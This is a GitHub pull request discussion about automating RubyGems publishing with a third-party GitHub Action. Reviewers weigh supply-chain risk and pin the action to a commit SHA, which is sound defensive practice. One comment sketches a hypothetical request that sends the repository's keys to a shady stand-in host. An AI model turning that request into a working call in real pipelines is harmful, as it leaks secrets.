Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Automatically publish package on version bump #59

Merged
merged 1 commit into from
Oct 4, 2021

Conversation

jaantohver
Copy link
Contributor

@jaantohver jaantohver commented Oct 1, 2021

Previously the package needed to be manually published by somebody with
permissions. This is a hasstle if the changes were authored by somebody without
permissions. A Github Action will automatically publish a new version and add a
tag when changes are merged to master that increase the version number in
salestation.gemspec. If the version in unchanged when changes are merged then
the action fails but does so silently.

CHAN-1774

@jaantohver jaantohver requested a review from zidik October 4, 2021 07:05
@jaantohver jaantohver changed the title [HOLD] Automatically publish package on version bump Automatically publish package on version bump Oct 4, 2021
@jaantohver jaantohver requested a review from ostap0207 October 4, 2021 07:48


- name: Release Gem
uses: discourse/publish-rubygems-action@v2-beta
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@take-five do we have any policy about using github actions from 3rd party?
Or is it better to at least do a fork?

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This also looks like some 3rd level fork, original repo is https://github.com/cadwallion/publish-rubygems-action. Or are there any reason not to use the original?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aren't most github actions 3rd party, assuming you mean 2nd party is Github? E.g. this is what we use in the ruby workflow. Can of course fork it either from the working version or directly from source an implement the fix myself. Whatever seems best.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There is still a difference when it comes directly from ruby official repo then from some developer on the internet.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd also be extra cautious here, because the action gets access to our secrets. But if there is a very good reason to use this particular fork, then let us know!

Copy link
Contributor

@zidik zidik Oct 4, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

But the secrets are accessible to the action during the run. It would be quite sad if the owner of the action would update the action to make a request GET www.some-shady-page.com/steal/gitKeys=[our_key_here]. So we would prefer to pick an owner that we can trust not to make this kind of edits.

Having our own fork is one way to ensure that this does not happen silently, but i think it is a bit of an overkill. A better alternative would be to pin the version number.

We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don’t specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.

  # Reference a specific commit
  - uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675
  # Reference the major version of a release
  - uses: actions/checkout@v2
  # Reference a specific version
  - uses: actions/[email protected]

Using the commit SHA of a released action version is the safest for stability and security.
Using the specific major action version allows you to receive critical fixes and security patches

Source: https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsuses

@ostap0207 do you think pinning the version would be enough? Then we would not have to own and maintain a fork, but we would still have control over what exact code is run in the pipeline.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The version is already pinned, but I did also already fork the repo https://github.com/salemove/publish-rubygems-action. I'll just have to implement the fix that I chose the other fork for in the first place.

Copy link
Member

@ostap0207 ostap0207 Oct 4, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The version is pinned to the tag currently, which can be overridden by the author.

Copy link
Member

@ostap0207 ostap0207 Oct 4, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions

Pin actions to a tag only if you trust the creator

Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.

So either pin to commit hash or fork. Either is fine with me as the action is quite small and maintenance shouldn't be a big issue. But I guess pinning to commit hash should be enough indeed so I would prefer that as well.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Updated. Pinned it to the last commit of the branch it was previously on.



- name: Release Gem
uses: discourse/publish-rubygems-action@v2-beta
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd also be extra cautious here, because the action gets access to our secrets. But if there is a very good reason to use this particular fork, then let us know!

fetch-depth: 2


- name: Release Gem
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't see where the tags are checked?
shouldn't there be a line if: contains(github.ref, 'refs/tags/v') here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

or if it is automatic, where i can see that the tag is created automatically when version number is incremented?

Copy link
Contributor Author

@jaantohver jaantohver Oct 4, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

https://github.com/rubygems/bundler/blob/master/task/release.rake#L133

It's a part of the release task process. If you look at the change I made to README then the previous way to release a version was to just run the same command locally.

Copy link
Contributor

@zidik zidik Oct 4, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Clear! Thank you! :)

Previously the package needed to be manually published by somebody with
permissions. This is a hasstle if the changes were authored by somebody without
permissions. A Github Action will automatically publish a new version and add a
tag when changes are merged to master that increase the version number in
`salestation.gemspec`. If the version in unchanged when changes are merged then
the action fails but does so silently.

CHAN-1774
@jaantohver jaantohver force-pushed the automatic-publishing branch from b1d3949 to d902147 Compare October 4, 2021 11:52
@ostap0207 ostap0207 requested a review from indrekj October 4, 2021 11:59


- name: Release Gem
uses: discourse/publish-rubygems-action@b55d7b91b55e61752dc6cbc2972f8e16fe6c1a02
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we still use original repo https://github.com/cadwallion/publish-rubygems-action and not 3rd level fork

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No it's broken. At the very least there needs to be a gem update bundler in there. Relevant issue in the original repo - cadwallion/publish-rubygems-action#10.

Copy link
Member

@ostap0207 ostap0207 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added Indrek to get someone from outside our team to review.

@jaantohver
Copy link
Contributor Author

!merge

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

Successfully merging this pull request may close these issues.

5 participants